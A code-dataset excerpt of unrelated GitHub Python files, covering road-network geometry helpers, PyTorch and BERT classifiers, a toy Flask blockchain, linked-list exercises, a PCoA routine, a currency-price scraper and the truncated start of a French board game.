len(distances)\n\n out_mat = np.zeros((n_distances, 4))\n\n out_mat[:, 0] = alphas\n out_mat[:, 3] = distances\n\n for i in range(n_distances):\n out_mat[i, 1:3] = edge_geom.interpolate(distances[i]).coords[0]\n\n return out_mat\n\n\ndef graph_edges_gdf(graph: MultiDiGraph) -> GeoDataFrame:\n \"\"\"\n Converts networkx graph to geopandas data frame. (Fast!)\n :param graph: encodes road network, simplified and projected to UTM\n :return: gdf of edges with columns [u, v, k, geometry]\n \"\"\"\n gdf = ox.graph_to_gdfs(graph, nodes=False, fill_edge_geometry=True)\n gdf_index_gdf = gdf.index.to_frame()\n for col in [\"u\", \"v\", \"key\"]:\n if col in gdf_index_gdf.columns:\n gdf[col] = gdf_index_gdf[col]\n edge_gdf = gdf[[\"u\", \"v\", \"key\", \"geometry\"]]\n return edge_gdf\n\n\ndef get_edges_within_dist(graph_edges: GeoDataFrame,\n coord: np.ndarray,\n dist_retain: float) -> GeoDataFrame:\n \"\"\"\n Given a point returns all edges that fall within a radius of dist.\n :param graph_edges: gdf of edges with columns [u, v, k, geometry]\n :param coord: central point\n :param dist_retain: metres, retain radius\n :return: gdf of edges with columns [u, v, k, geometry, distance_to_obs]\n all with distance_to_obs < dist_retain\n \"\"\"\n\n graph_edges_dist = graph_edges.copy()\n\n graph_edges_dist['distance_to_obs'] = graph_edges['geometry'].apply(\n lambda geom: Point(tuple(coord)).distance(geom))\n\n edges_within_dist = graph_edges_dist[graph_edges_dist['distance_to_obs'] < dist_retain]\n\n return edges_within_dist\n\n\ndef get_truncated_discrete_edges(graph: MultiDiGraph,\n coord: np.ndarray,\n d_refine: float,\n d_truncate: float,\n return_dists_to_coord: bool = False) \\\n -> Union[Tuple[np.ndarray, np.ndarray], np.ndarray]:\n \"\"\"\n Discretises edges within dist_retain of coord\n :param graph: encodes road network, simplified and projected to UTM\n :param coord: conformal with graph (i.e. UTM)\n :param d_refine: metres, resolution of distance discretisation\n :param d_truncate: metres, distance within which of coord to retain points\n :param return_dists_to_coord: if true additionally return array of distances to coord\n :return: numpy.ndarray, shape = (number of points within truncation, 6)\n columns: u, v, k, alpha, distance_to_coord\n u: int, edge start node\n v: int, edge end node\n k: int, edge key\n alpha: in [0,1], position along edge\n x: float, metres, cartesian x coordinate\n y: float, metres, cartesian y coordinate\n if return_dists_to_coord also return np.ndarray, shape = (number of points within truncation,)\n with distance of each point to coord\n \"\"\"\n\n # Extract geodataframe\n graph_edges = graph_edges_gdf(graph)\n\n # Remove edges with closest point outside truncation\n close_edges = get_edges_within_dist(graph_edges, coord, d_truncate)\n\n # Discretise edges\n close_edges['alpha'] = close_edges['geometry'].apply(discretise_geometry, d_refine=d_refine)\n\n # Remove distance from closest point on edge column\n # (as this refers to closest point of edge and now we want specific point on edge)\n close_edges = close_edges.drop(columns='distance_to_obs')\n\n # Elongate, remove points outside truncation and store in list of lists\n points = []\n dists = []\n for _, row in close_edges.iterrows():\n for a in row['alpha']:\n xy = edge_interpolate(row['geometry'], a)\n dist = np.sqrt(np.square(coord - xy).sum())\n if dist < d_truncate:\n add_row = row.copy()\n add_row['alpha'] = a\n add_row['distance_to_obs'] = dist\n points += [[row['u'], row['v'], row['key'], a, *xy]]\n dists += [dist]\n\n # Convert to numpy.ndarray\n points_arr = np.array(points)\n dists_arr = np.array(dists)\n\n return (points_arr, dists_arr) if return_dists_to_coord else points_arr\n\n\ndef observation_time_indices(times: np.ndarray) -> np.ndarray:\n \"\"\"\n Remove zeros (other than the initial zero) from a series\n\n :param times: series of timestamps\n :return: bool array of timestamps that are either non-zero or the first timestamp\n \"\"\"\n return np.logical_or(times != 0, np.arange(len(times)) == 0.)\n\n\ndef observation_time_rows(path: np.ndarray) -> np.ndarray:\n \"\"\"\n Returns rows of path only at observation times (not intersections)\n\n :param path: numpy.ndarray, shape=(_, 5+)\n columns - t, u, v, k, alpha, ...\n :return: trimmed path\n numpy.ndarray, shape like path\n \"\"\"\n return path[observation_time_indices(path[:, 0])]\n\n\ndef long_lat_to_utm(points: Union[list, np.ndarray], graph=None) -> np.ndarray:\n \"\"\"\n Converts a collection of long-lat points to UTM\n :param points: points to be projected, shape = (N, 2)\n :param graph: optional graph containing desired crs in graph.graph['crs']\n :return: array of projected points\n \"\"\"\n points = np.atleast_2d(points)\n points_gdf = GeoDataFrame({'index': np.arange(len(points)),\n 'x': points[:, 0],\n 'y': points[:, 1]})\n points_gdf['geometry'] = points_gdf.apply(lambda row: Point(row['x'], row['y']), axis=1)\n points_gdf.crs = '+proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs' # long lat crs\n points_gdf_utm = ox.projection.project_gdf(points_gdf, to_crs=str(graph.graph['crs']) if graph is not None else None)\n points_gdf_utm['x'] = points_gdf_utm['geometry'].map(lambda point: point.x)\n points_gdf_utm['y'] = points_gdf_utm['geometry'].map(lambda point: point.y)\n return np.squeeze(np.array(points_gdf_utm[['x', 'y']]))\n\n\ndef interpolate_path(graph: MultiDiGraph,\n path: np.ndarray,\n d_refine: float = 1,\n t_column: bool = False) -> np.ndarray:\n \"\"\"\n Turns path into a discrete collection of positions to be plotted\n :param graph: simplified graph\n :param path: numpy.ndarray, shape = (_, 4)\n :param d_refine: float\n metres\n resolution of distance discretisation\n :param t_column: boolean\n boolean describing if input has a first column for the time variable\n :return: numpy.ndarray, shape = (_, 6)\n elongated array for plotting path\n \"\"\"\n start_col = 1 * t_column\n out_arr = path[:1].copy()\n prev_point = out_arr[0]\n for point in path[1:]:\n edge_geom = get_geometry(graph, point[start_col:(start_col + 3)])\n edge_length = edge_geom.length\n if np.array_equal(point[start_col:(start_col + 3)], prev_point[start_col:(start_col + 3)]):\n edge_metres = np.arange(prev_point[start_col + 3] * edge_length\n + d_refine, point[start_col + 3] * edge_length, d_refine)\n else:\n edge_metres = np.arange(0, point[start_col + 3] * edge_length, d_refine)\n edge_alphas = edge_metres / edge_length\n append_arr = np.zeros((len(edge_alphas), out_arr.shape[1]))\n append_arr[:, start_col:(start_col + 3)] = point[start_col:(start_col + 3)]\n append_arr[:, start_col + 3] = edge_alphas\n out_arr = np.append(out_arr, append_arr, axis=0)\n prev_point = point\n return out_arr\n\n\ndef cartesianise_path(graph, path, t_column=True, observation_time_only=False):\n \"\"\"\n Converts particle or array of edges and alphas into cartesian (x,y) points.\n\n :param path: numpy.ndarray, shape=(_, 5+)\n columns - (t), u, v, k, alpha, ...\n :param t_column: boolean\n boolean describing if input has a first column for the time variable\n :return: numpy.ndarray, shape = (_, 2)\n cartesian points\n \"\"\"\n start_col = 1 * t_column\n\n if observation_time_only:\n path = observation_time_rows(path)\n\n cart_points = np.zeros(shape=(path.shape[0], 2))\n\n for i, point in enumerate(path):\n edge_geom = get_geometry(graph, point[start_col:(3 + start_col)])\n cart_points[i, :] = edge_interpolate(edge_geom, point[3 + start_col])\n\n return np.atleast_2d(cart_points)\n","repo_name":"SamDuffield/bmm","sub_path":"bmm/src/tools/edges.py","file_name":"edges.py","file_ext":"py","file_size_in_byte":13894,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"18"} +{"seq_id":"74062854761","text":"import torch\nfrom torch import Tensor, nn\nimport torch.nn.functional as F\n\nfrom madress_2023.train.config import Config\n\nclass PoolAttFF(torch.nn.Module):\n '''\n PoolAttFF: Attention-Pooling module with additonal feed-forward network.\n ''' \n def __init__(self, config: Config, out_dim):\n super().__init__()\n \n self.config = config\n\n # Attention + mapping to output.\n self.linear1 = nn.Linear(config.dim_hidden, 2*config.dim_hidden)\n self.linear2 = nn.Linear(2*config.dim_hidden, 1)\n self.linear3 = nn.Linear(config.dim_hidden, out_dim)\n \n self.activation = F.relu\n self.dropout = nn.Dropout(config.dropout)\n \n def forward(self, x: Tensor):\n\n # Attention weights over sequence.\n att = self.linear2(self.dropout(self.activation(self.linear1(x)))) \n att = att.transpose(2,1)\n att = F.softmax(att, dim=2)\n\n # Pool sequence to vector using attention weights.\n x_pooled = torch.bmm(att, x).squeeze(1)\n\n # Map vector to output.\n out = self.linear3(x_pooled)\n \n return out\n\n\n\nclass Model(nn.Module):\n\n def __init__(self, config: Config):\n super().__init__()\n\n self.config = config\n self.do_ad = config.do_ad\n self.do_mmse = config.do_mmse\n\n # Normalization.\n self.norm = nn.BatchNorm1d(config.dim_input)\n\n # Down-projection.\n self.down_proj = nn.Linear(\n in_features=config.dim_input,\n out_features=config.dim_hidden,\n )\n self.down_proj_drop = nn.Dropout(config.dropout)\n self.down_proj_act = nn.ReLU()\n\n # Attention pooling.\n assert self.do_ad or self.do_mmse\n if self.do_ad:\n self.pool_ad = PoolAttFF(config, 2)\n if self.do_mmse:\n self.pool_mmse = PoolAttFF(config, 1)\n self.sigmoid_msme = nn.Sigmoid()\n\n def forward(self, x: Tensor) -> Tensor:\n \n # Transform from (N, L, C) to (N, C, L) and back.\n x = self.norm(x.permute((0, 2, 1))).permute((0, 2, 1))\n\n # Down-projection to hidden dim.\n x = self.down_proj(x)\n x = self.down_proj_act(x)\n x = self.down_proj_drop(x)\n\n ## AD\n if self.do_ad:\n out = self.pool_ad(x)\n return out\n \n ## MMSE\n if self.do_mmse:\n out = self.pool_mmse(x).squeeze(-1)\n out = self.sigmoid_msme(out)\n return out\n","repo_name":"lcn-kul/madress-2023","sub_path":"madress_2023/train/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"34629887436","text":"# To be installed:\r\n# Flask==0.12.2: pip install Flask==0.12.2\r\n# Postman HTTP Client: https://www.postman.com/\r\n\r\n# Importing the libraries\r\nimport datetime\r\nimport hashlib\r\nimport json\r\nfrom flask import Flask, jsonify\r\n\r\n# Building a Blockchain\r\n\r\nclass Blockchain:\r\n \r\n def __init__(self):\r\n \r\n # Reset the current list of transactions\r\n self.chain = []\r\n \r\n # Create the genesis block\r\n self.create_block(proof = 1, previous_hash = '0')\r\n \r\n def create_block(self, proof, previous_hash):\r\n \"\"\"\r\n Create a new block in the Blockchain\r\n \r\n Each block includes:\r\n * Index\r\n * Timestamp\r\n * Proof\r\n * Previous Hash\r\n \r\n :param proof: The proof given by the Proof of Work algorithm\r\n :param previous_hash: Hash of the previous block\r\n :return new block\r\n \"\"\"\r\n \r\n block = {'index': len(self.chain) + 1,\r\n 'timestamp': str(datetime.datetime.now()),\r\n 'proof': proof,\r\n 'previous_hash': previous_hash}\r\n \r\n self.chain.append(block)\r\n return block\r\n \r\n def get_previous_block(self):\r\n return self.chain[-1]\r\n \r\n def proof_of_work(self, previous_proof):\r\n \"\"\"\r\n Simple Proof of Work Algorithm:\r\n \r\n - Find a number p such that hash(p^2 - q^2) contains leading 4 zeroes\r\n - Where q is the previous proof and p is the new proof\r\n \r\n :param previous_proof: proof of the previos block\r\n :return: \r\n \"\"\"\r\n new_proof = 1\r\n check_proof = False\r\n \r\n while check_proof is False:\r\n hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest()\r\n if hash_operation[:4] == '0000':\r\n check_proof = True\r\n else:\r\n new_proof += 1\r\n \r\n return new_proof\r\n \r\n def hash(self, block):\r\n \"\"\"\r\n Create a SHA-256 hash of a block\r\n \r\n :param block: Block\r\n :return hash value of the block\r\n \"\"\"\r\n \r\n encoded_block = json.dumps(block, sort_keys = True).encode()\r\n return hashlib.sha256(encoded_block).hexdigest()\r\n \r\n def is_chain_valid(self, chain):\r\n \"\"\"\r\n Performs two checks for validating the chain:\r\n \r\n - If the hash of the previous block matches with the previous_hash stored in the current block\r\n - If the hash of the current block contains leading 4 zeroes\r\n \r\n :param chain: A blockchain\r\n :return: True if valid, False if not\r\n \"\"\" \r\n # To check the validity of the chain we start from the first block\r\n previous_block = chain[0]\r\n block_index = 1\r\n \r\n while block_index < len(chain):\r\n block = chain[block_index]\r\n \r\n # First check\r\n if block['previous_hash'] != self.hash(previous_block):\r\n return False\r\n \r\n previous_proof = previous_block['proof']\r\n proof = block['proof']\r\n hash_operation = hashlib.sha256(str(proof**2 - previous_proof**2).encode()).hexdigest()\r\n \r\n #Second Check\r\n if hash_operation[:4] != '0000':\r\n return False\r\n \r\n previous_block = block\r\n block_index += 1\r\n \r\n return True\r\n\r\n# Mining our Blockchain\r\n \r\n# Web App\r\n# Instantiate the Node\r\napp = Flask(__name__)\r\napp.config['JSONIFY_PRETTYPRINT_REGULAR'] = False\r\n\r\n# Creating the Blockchain\r\nblockchain = Blockchain()\r\n\r\n# Mining a new Block\r\n@app.route('/mine_block', methods = ['GET'])\r\n\r\ndef mine_block():\r\n \r\n previous_block = blockchain.get_previous_block()\r\n previous_proof = previous_block['proof']\r\n \r\n # Running the proof of work to get the new proof\r\n proof = blockchain.proof_of_work(previous_proof)\r\n previous_hash = blockchain.hash(previous_block)\r\n \r\n # New block is added to the chain\r\n block = blockchain.create_block(proof, previous_hash)\r\n \r\n response = {'message': 'Congratulations on mining your block!',\r\n 'index': block['index'],\r\n 'timestamp': block['timestamp'],\r\n 'proof': block['proof'],\r\n 'previous_hash': block['previous_hash']}\r\n \r\n return jsonify(response), 200\r\n \r\n# Getting the full Blockchain\r\n@app.route('/get_chain', methods = ['GET'])\r\n\r\ndef get_chain():\r\n \r\n response = {'chain': blockchain.chain,\r\n 'length': len(blockchain.chain)}\r\n \r\n return jsonify(response), 200\r\n\r\n# Checking the blockchain\r\n@app.route('/is_valid', methods = ['GET'])\r\n\r\ndef is_valid():\r\n \r\n is_valid = blockchain.is_chain_valid(blockchain.chain)\r\n \r\n if is_valid:\r\n response = {'message': 'Blockchain is valid.'}\r\n else:\r\n response = {'message': 'Blockchain is invalid.'}\r\n \r\n return jsonify(response), 200\r\n\r\n# Running the app\r\napp.run(host = '0.0.0.0', port = 5000)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","repo_name":"ranjulbn20/rancoin","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":5420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26386353010","text":"# Pop operation in doubly linked list\n\nclass Node:\n def __init__(self, value):\n self.value = value\n self.next = None\n self.prev = None\n\n\nclass DDL:\n def __init__(self, value):\n new_node = Node(value)\n self.head = new_node\n self.tail = new_node\n self.length = 1\n\n def print_list(self):\n temp = self.head\n while temp is not None:\n print(temp.value)\n temp = temp.next\n\n def append(self, value):\n new_node = Node(value)\n if self.length == 0:\n self.head = new_node\n self.tail = new_node\n else:\n self.tail.next = new_node\n new_node.prev = self.tail\n self.tail = new_node\n self.length += 1\n\n def pop(self):\n if self.length == 0:\n return None\n temp = self.tail\n if self.length == 1:\n self.head = None\n self.tail = None\n else:\n self.tail = self.tail.prev\n self.tail.next = None\n temp.prev = None\n self.length -= 1\n return temp.value\n\n\nmy_linked_list = DDL(3)\nmy_linked_list.append(5)\nmy_linked_list.append(7)\nmy_linked_list.append(9)\nmy_linked_list.append(11)\nprint(my_linked_list.print_list())\nprint(\"Popping the value at the last end of the doubly linked list : \")\nprint(my_linked_list.pop())\nprint(\"After performing the pop operation, the linked list is listed below : \")\nprint(my_linked_list.print_list())\n\n","repo_name":"GauravCodez/DS_Algo_Python","sub_path":"Practice/Doubly_Linked_List/Pop.py","file_name":"Pop.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12053489463","text":"from __future__ import absolute_import, division, print_function\n\nfrom warnings import warn\n\nimport pandas as pd\nimport numpy as np\nfrom scipy.linalg import eigh\n\nfrom skbio._base import OrdinationResults\nfrom skbio.stats.distance import DistanceMatrix\nfrom ._utils import e_matrix, f_matrix\nfrom skbio.util._decorator import experimental\n\n# - In cogent, after computing eigenvalues/vectors, the imaginary part\n# is dropped, if any. We know for a fact that the eigenvalues are\n# real, so that's not necessary, but eigenvectors can in principle\n# be complex (see for example\n# http://math.stackexchange.com/a/47807/109129 for details) and in\n# that case dropping the imaginary part means they'd no longer be\n# so, so I'm not doing that.\n\n\n@experimental(as_of=\"0.4.0\")\ndef pcoa(distance_matrix):\n r\"\"\"Perform Principal Coordinate Analysis.\n\n Principal Coordinate Analysis (PCoA) is a method similar to PCA\n that works from distance matrices, and so it can be used with\n ecologically meaningful distances like unifrac for bacteria.\n\n In ecology, the euclidean distance preserved by Principal\n Component Analysis (PCA) is often not a good choice because it\n deals poorly with double zeros (Species have unimodal\n distributions along environmental gradients, so if a species is\n absent from two sites at the same site, it can't be known if an\n environmental variable is too high in one of them and too low in\n the other, or too low in both, etc. On the other hand, if an\n species is present in two sites, that means that the sites are\n similar.).\n\n Parameters\n ==========\n distance_matrix : DistanceMatrix\n A distance matrix.\n\n Notes\n =====\n It is sometimes known as metric multidimensional scaling or\n classical scaling.\n\n .. note::\n\n If the distance is not euclidean (for example if it is a\n semimetric and the triangle inequality doesn't hold),\n negative eigenvalues can appear. There are different ways\n to deal with that problem (see Legendre & Legendre 1998, \\S\n 9.2.3), but none are currently implemented here.\n\n However, a warning is raised whenever negative eigenvalues\n appear, allowing the user to decide if they can be safely\n ignored.\n \"\"\"\n distance_matrix = DistanceMatrix(distance_matrix)\n\n E_matrix = e_matrix(distance_matrix.data)\n\n # If the used distance was euclidean, pairwise distances\n # needn't be computed from the data table Y because F_matrix =\n # Y.dot(Y.T) (if Y has been centred).\n F_matrix = f_matrix(E_matrix)\n\n # If the eigendecomposition ever became a bottleneck, it could\n # be replaced with an iterative version that computes the\n # largest k eigenvectors.\n eigvals, eigvecs = eigh(F_matrix)\n\n # eigvals might not be ordered, so we order them (at least one\n # is zero). cogent makes eigenvalues positive by taking the\n # abs value, but that doesn't seem to be an approach accepted\n # by L&L to deal with negative eigenvalues. We raise a warning\n # in that case. First, we make values close to 0 equal to 0.\n negative_close_to_zero = np.isclose(eigvals, 0)\n eigvals[negative_close_to_zero] = 0\n if np.any(eigvals < 0):\n warn(\n \"The result contains negative eigenvalues.\"\n \" Please compare their magnitude with the magnitude of some\"\n \" of the largest positive eigenvalues. If the negative ones\"\n \" are smaller, it's probably safe to ignore them, but if they\"\n \" are large in magnitude, the results won't be useful. See the\"\n \" Notes section for more details. The smallest eigenvalue is\"\n \" {0} and the largest is {1}.\".format(eigvals.min(),\n eigvals.max()),\n RuntimeWarning\n )\n idxs_descending = eigvals.argsort()[::-1]\n eigvals = eigvals[idxs_descending]\n eigvecs = eigvecs[:, idxs_descending]\n\n # Scale eigenvalues to have lenght = sqrt(eigenvalue). This\n # works because np.linalg.eigh returns normalized\n # eigenvectors. Each row contains the coordinates of the\n # objects in the space of principal coordinates. Note that at\n # least one eigenvalue is zero because only n-1 axes are\n # needed to represent n points in an euclidean space.\n\n # If we return only the coordinates that make sense (i.e., that have a\n # corresponding positive eigenvalue), then Jackknifed Beta Diversity\n # won't work as it expects all the OrdinationResults to have the same\n # number of coordinates. In order to solve this issue, we return the\n # coordinates that have a negative eigenvalue as 0\n num_positive = (eigvals >= 0).sum()\n eigvecs[:, num_positive:] = np.zeros(eigvecs[:, num_positive:].shape)\n eigvals[num_positive:] = np.zeros(eigvals[num_positive:].shape)\n\n coordinates = eigvecs * np.sqrt(eigvals)\n proportion_explained = eigvals / eigvals.sum()\n\n axis_labels = ['PC%d' % i for i in range(1, eigvals.size + 1)]\n return OrdinationResults(\n short_method_name='PCoA',\n long_method_name='Principal Coordinate Analysis',\n eigvals=pd.Series(eigvals, index=axis_labels),\n samples=pd.DataFrame(coordinates, index=distance_matrix.ids,\n columns=axis_labels),\n proportion_explained=pd.Series(proportion_explained,\n index=axis_labels))\n","repo_name":"EsztiS/EsztiS.github.io","sub_path":"toxic_docs_insight/flask/app/venv/lib/python2.7/site-packages/skbio/stats/ordination/_principal_coordinate_analysis.py","file_name":"_principal_coordinate_analysis.py","file_ext":"py","file_size_in_byte":5455,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"27659777493","text":"\nimport torch\nimport torch.nn as nn\n\nfrom transformers import BertModel, BertPreTrainedModel\n\n\nclass BertClassifier(BertPreTrainedModel):\n\n def __init__(self, config, num_labels, dropout=0.1):\n super().__init__(config)\n\n self.bert = BertModel(config)\n self.dropout = nn.Dropout(dropout)\n\n hidden_dim = config.hidden_size\n self.classifier = nn.Linear(hidden_dim, num_labels)\n\n self.init_weights()\n\n def forward(self, input_ids):\n outputs = self.bert(input_ids)\n\n pooled_output = outputs[1]\n pooled_output = self.dropout(pooled_output)\n\n output = self.classifier(pooled_output)\n\n return output\n\n\nclass BertDomainIntent(BertPreTrainedModel):\n\n def __init__(self, config, num_domains, num_intents, dropout=0.3,\n subspace=False, hierarchy=False, domain_first=False):\n super().__init__(config)\n\n self.bert = BertModel(config)\n\n self.dropout = nn.Dropout(config.hidden_dropout_prob)\n hidden_dim = config.hidden_size\n\n self.linear1 = nn.Linear(config.hidden_size, hidden_dim)\n self.relu1 = nn.ReLU()\n\n self.linear2 = nn.Linear(config.hidden_size, hidden_dim)\n self.relu2 = nn.ReLU()\n\n self.norm1 = nn.LayerNorm(hidden_dim)\n self.norm2 = nn.LayerNorm(hidden_dim)\n\n self.dropout1 = nn.Dropout(dropout)\n self.dropout2 = nn.Dropout(dropout)\n\n self.subspace = subspace\n self.hierarchy = hierarchy\n self.domain_first = domain_first\n\n self.domain_out = nn.Linear(hidden_dim, num_domains)\n self.intent_out = nn.Linear(hidden_dim, num_intents)\n\n self.init_weights()\n\n def forward(self, input_ids):\n outputs = self.bert(input_ids)\n\n pooled_output = torch.mean(outputs[0], dim=1)\n #pooled_output = outputs[1]\n pooled_output = self.dropout(pooled_output)\n\n # subspace layers\n if self.subspace:\n domain_rep = self.relu1(self.linear1(pooled_output))\n domain_rep = pooled_output + self.dropout1(domain_rep)\n if self.training:\n domain_rep = self.norm1(domain_rep)\n\n intent_rep = self.relu2(self.linear2(pooled_output))\n intent_rep = pooled_output + self.dropout2(intent_rep)\n if self.training:\n intent_rep = self.norm2(intent_rep)\n else:\n domain_rep = pooled_output\n intent_rep = pooled_output\n\n # hierarchical layers\n if self.hierarchy:\n if self.domain_first:\n domain_rep = self.relu1(self.linear1(pooled_output))\n domain_rep = pooled_output + self.dropout1(domain_rep)\n if self.training:\n domain_rep = self.norm1(domain_rep)\n\n intent_rep = domain_rep + pooled_output\n intent_rep = self.relu2(self.linear2(intent_rep))\n\n intent_rep = domain_rep + self.dropout2(intent_rep)\n if self.training:\n intent_rep = self.norm2(intent_rep)\n else:\n intent_rep = self.relu1(self.linear1(pooled_output))\n intent_rep = pooled_output + self.dropout1(intent_rep)\n if self.training:\n intent_rep = self.norm1(intent_rep)\n\n domain_rep = intent_rep + pooled_output\n domain_rep = self.relu2(self.linear2(domain_rep))\n\n domain_rep = intent_rep + self.dropout2(domain_rep)\n if self.training:\n domain_rep = self.norm2(domain_rep)\n\n # output layers\n domain_rep = self.dropout1(domain_rep)\n output1 = self.domain_out(domain_rep)\n\n intent_rep = self.dropout2(intent_rep)\n output2 = self.intent_out(intent_rep)\n\n return output1, output2\n\n\nclass MultiTaskLoss(nn.Module):\n def __init__(self):\n super(MultiTaskLoss, self).__init__()\n self.w = nn.Parameter(torch.tensor(0.5))\n\n def forward(self, domain_loss, intent_loss):\n loss = self.w * domain_loss + (1-self.w) * intent_loss\n return loss\n\n\nif __name__ == '__main__':\n from transformers import BertConfig\n\n config = BertConfig.from_pretrained('bert-base-uncased')\n model1 = BertClassifier(config, 10)\n model2 = BertDomainIntent(config, 10, 100)\n print(model1)\n print(model2)\n","repo_name":"ananya-sundar/Hierarchical-Intent-Recognizer","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9708869495","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def swapPairs(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if head is None or head.next is None:\n return head\n pre = head\n now = head.next\n while pre and now:\n pre.val, now.val = now.val, pre.val\n pre = now.next\n if pre is None:\n break\n now = pre.next\n\n\n return head\n\n\nif __name__ == '__main__':\n solution = Solution()\n head = ListNode(1)\n temp = head\n for i in range(2, 7):\n temp.next = ListNode(i)\n temp = temp.next\n result = solution.swapPairs(head)\n while result:\n print(result.val)\n result = result.next\n","repo_name":"cainingning/leetcode","sub_path":"list_24.py","file_name":"list_24.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"29728400848","text":"#!/usr/bin/python3\n\"\"\"\nmodule that determine the fewest\nnumber of coins needed to meet a given amount total\n\"\"\"\n\n\ndef makeChange(coins, total):\n \"\"\" function to find fewest number of coins needed to meet total \"\"\"\n if total <= 0:\n return 0\n coins.sort(reverse=True)\n diference = 0\n for c in coins:\n if total <= 0:\n break\n temp = total // c\n diference += temp\n total -= (temp * c)\n if total != 0:\n return -1\n return diference\n","repo_name":"Mdlalose4life/alx-interview","sub_path":"0x08-making_change/0-making_change.py","file_name":"0-making_change.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74120112360","text":"import requests\nfrom config import *\n\ndef get_exchange_rate(from_currency, to_currency) : \n base_url = \"https://www.alphavantage.co/query?function=CURRENCY_EXCHANGE_RATE\"\n main_url = base_url + \"&from_currency=\" + from_currency + \"&to_currency=\" + to_currency + \"&apikey=\" + currency_api_key\n req_ob = requests.get(main_url) \n json = req_ob.json()\n return float(json[\"Realtime Currency Exchange Rate\"]['5. Exchange Rate'])\n\nopts_response = requests.post(\"https://wrapapi.com/use/Arpin/itemku/options/0.0.1\", json={\n \"wrapAPIKey\": wrap_api_key\n})\nopts = opts_response.json()['data']['options']\n\n\ndata = {}\nexc_rates = {}\nn = len(opts)\nfor i, op in enumerate(opts):\n val_response = requests.post(\"https://wrapapi.com/use/Arpin/itemku/values/0.0.5\", json={\n \"q_item\": op,\n \"wrapAPIKey\": wrap_api_key\n })\n val = val_response.json()['data']\n print('Loading %.1f%%'%((i+1)/n*100), val, sep='\\n')\n\n cur = val['name'].split(' ')[0]\n nom = val['nom']\n price = val['price']\n\n val['name'] = cur\n\n if cur not in data:\n data[cur] = {}\n exc_rates[cur] = get_exchange_rate(cur, 'IDR')\n\n data[cur][nom] = {\n 'price': price,\n 'value': nom * exc_rates[cur],\n 'ratio': nom * exc_rates[cur] / price\n }\n\nprint('=====================================================================')\nprint(' Currency || Nominal || Value || Price || Ratio ')\nprint('=====================================================================')\nfor cur, cur_data in data.items():\n print(' %-8s ||%13s||%13s||%13s||%10.2f'%(cur, '', '', '', exc_rates[cur]))\n for nom, val in cur_data.items():\n print('%10s||%12d ||Rp. %8d ||Rp. %8d ||%10.2f'%('', nom, val['value'], val['price'], val['ratio']))\n print()\ninput('Press enter to continue...')","repo_name":"arpinfidel/itemku-steam-wallet","sub_path":"itemku.py","file_name":"itemku.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16131577953","text":"import matplotlib.pyplot as plt \nimport networkx as nx\nimport time\nimport random\nimport numpy as np\n\n# Affiche les règles\nprint(\"Nombres de joueurs maximum : 2 \",\n \"\\nLe premier joueur dispose de 3 pions blancs placés sur les cases 0,1,3.\"\n \"\\nLe deuxième joueur d'un seul pion noir placé sur la case 5.\"\n \"\\nLe joueur avec les pions blancs commence toujours.\"\n \"\\nChaques pions se deplacent d'une case à la fois.\"\n \"\\nLes pions blancs se déplacent de gauche à droite ou en avant mais jamais en arrière.\"\n \"\\nLe pion noir peut se déplacer dans toutes les directions.\"\n \"\\nLa partie se termine si le pion noir est bloqué par les pions blancs donc les pions blancs gagnent.\"\n \"\\nOu le pion noir gagne s'il passe derrière les pions blancs ou il est hors de portée des pions blancs ou que les déplacements se répètent indéfinément.\")\n\n# Variable permettant d'initialiser le jeu\nmodeDeJeu=int(input(\"Choisissez un mode de jeu: 0:JcJ / 1: J(Blanc)cIA / 2: J(Noir) vs IA / 3: IAvsIA : \"))\nglobal tourBlanc\ntourBlanc = True\nmemoireDerniersMouvements = []\n3\n\n#Tableau de base\ntableau={0:\"B\",1:\"B\",2:\"S\",3:\"B\",4:\"S\",5:\"N\",6:\"S\",7:\"S\",8:\"S\",9:\"S\",10:\"S\"}\n\n#Possibilités de mouvement pour le pion noir et les pions blancs du temps, on essaiera d’aborder la question d’obtenir une strat ́egie optimale ou du moins d’utiliser la superiorite \ndicoMoveNoir={0:[1,2,3], 1:[0,2,4,5], 2:[0,1,3,5], 3:[0,2,5,6], 4:[1,5,7], 5:[1,2,3,4,6,7,8,9], 6:[3,5,9], 7:[4,5,8,10], 8:[5,7,9,10], 9:[5,6,8,10], 10:[7,8,9]}\ndicoMoveBlanc={0:[1,2,3], 1:[2,4,5], 2:[1,3,5], 3:[2,5,6], 4:[5,7], 5:[4,6,7,8,9], 6:[5,9], 7:[8,10], 8:[7,9,10], 9:[8,10], 10:[]}\ndef invert(a):\n return (a[1],a[0])\ndef checkRepeating():\n for i in range(len(memoireDerniersMouvements)):\n rollingDerniersMouvements = memoireDerniersMouvements\n if len(rollingDerniersMouvements) >=4: \n if rollingDerniersMouvements[0]==invert(rollingDerniersMouvements[2]) and 